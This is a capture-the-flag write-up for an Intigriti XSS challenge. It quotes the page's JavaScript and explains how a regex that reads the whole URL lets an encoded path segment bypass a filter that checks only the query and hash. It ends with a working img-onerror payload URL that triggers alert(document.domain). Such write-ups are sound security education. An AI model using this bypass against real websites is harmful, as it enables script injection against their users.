The https://challenge-0125.intigriti.io/challenge
page shows colorful particles, along with an input dialog where one can enter a name:
..which is then shown in a greeting modal dialog:
The goal is to somehow trigger a XSS vulnerability to show an alert
with document.domain
.
When submitting the name in the first dialog, the redirectToText
function is called, which redirects to /challenge?text=<name>
:
// Function to redirect on form submit
function redirectToText(event) {
event.preventDefault();
const inputBox = document.getElementById('inputBox');
const text = encodeURIComponent(inputBox.value);
window.location.href = `/challenge?text=${text}`;
}
So the value of the text
query parameter is extracted and shown in the modal dialog.
checkQueryParam()
is executed upon loading the page, and it gets the text
value, tries to verify that no XSS injections
are taking place, and inserts the value in the innerHTML
of the modal:
// Function to display modal if 'text' query param exists
function checkQueryParam() {
const text = getParameterByName('text');
if (text && XSS() === false) {
const modal = document.getElementById('modal');
const modalText = document.getElementById('modalText');
modalText.innerHTML = `Welcome, ${text}!`;
textForm.remove()
modal.style.display = 'flex';
}
}
The XSS()
function that it calls, checks if any <
or >
exists in the query parameters or hash (if so, no modal is shown):
function XSS() {
return decodeURIComponent(window.location.search).includes('<') || decodeURIComponent(window.location.search).includes('>') || decodeURIComponent(window.location.hash).includes('<') || decodeURIComponent(window.location.hash).includes('>')
}
..and the getParameterByName
function extracts the text
value from the URL by using a regular expression:
function getParameterByName(name) {
var url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
So. this should prevent any payload in the query parameters injecting e.g. a <script>
tag in the text
parameter.
However, the getParameterByName
applies the regular expression on window.location.href
- i.e. the whole URL, and not just the
query parameters or the hash, that are checked in the XSS()
function - and this opens up for a potential loop hole.
If we can somehow inject the text
payload before the query parameters and hash, then the XSS()
function will not
detect any malicious <
or >
characters in it.
Let's examine the regular expression in getParameterByName
a bit closer:
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
results = regex.exec(url);
..
return decodeURIComponent(results[2].replace(/\+/g, " "));
It searches for ?
or &
, followed by name
(which is "text"
), followed by =
. Then it captures the value,
all characters up until a &
, a #
, or end of line.
This works well when the text
value is among the query parameters, since the query parameter part starts with a
?name=value
and any consecutive parameter is appended with &name=value
.
But, if we would inject &text=value&
in the path of the URL, rather than in the query parameters, it would still make
the regular expression match it.
And this is possible by inserting a "fictional directory" in the URL path, that starts with &text=
and ends with a &
.
However, there is no such location at the server, so trying to load that page would yield a HTTP 404 - not found
error.
A trick that can be used for that is to append a /..
after the fictional directory to tell the server to go back to the
parent directory again (that is, /challenge
). This causes the server to ignore the fact that the fictional directory does
not exist, since the user has still specified that it should navigate back up to the parent directory anyways.
This needs to be URL encoded though, otherwise the browser will see the /challenge/fictional_directory/..
in the address
bar and normalize it to just /challenge
before sending the request to the server.
So if an URL like this is crafted:
https://challenge-0125.intigriti.io/challenge/&text=<img src=x onerror="alert(document.domain);">&/..
..but to prevent the browser from normalizing, some URL encoding can be applied to it:
https://challenge-0125.intigriti.io/challenge/&text=%3Cimg+src=x+onerror=%22alert(document.domain);%22%3E&%2f..
This makes the getParameterByName
function/regexp match the path part, extract the <img src=x onerror=...
payload and
insert it into the page, making the modal dialog implementation end up looking like this:
<div id="modal" class="modal" style="display: flex;">
<div class="modal-content">
<h2 id="modalText">Welcome, <img src="x" onerror="alert(document.domain);">!</h2>
<button onclick="closeModal()">Close</button>
</div>
</div>
...where the onerror
script gets executed and the alert
is popping up:
Mission accomplished ✅
Thanks to Intigriti for a fun challenge!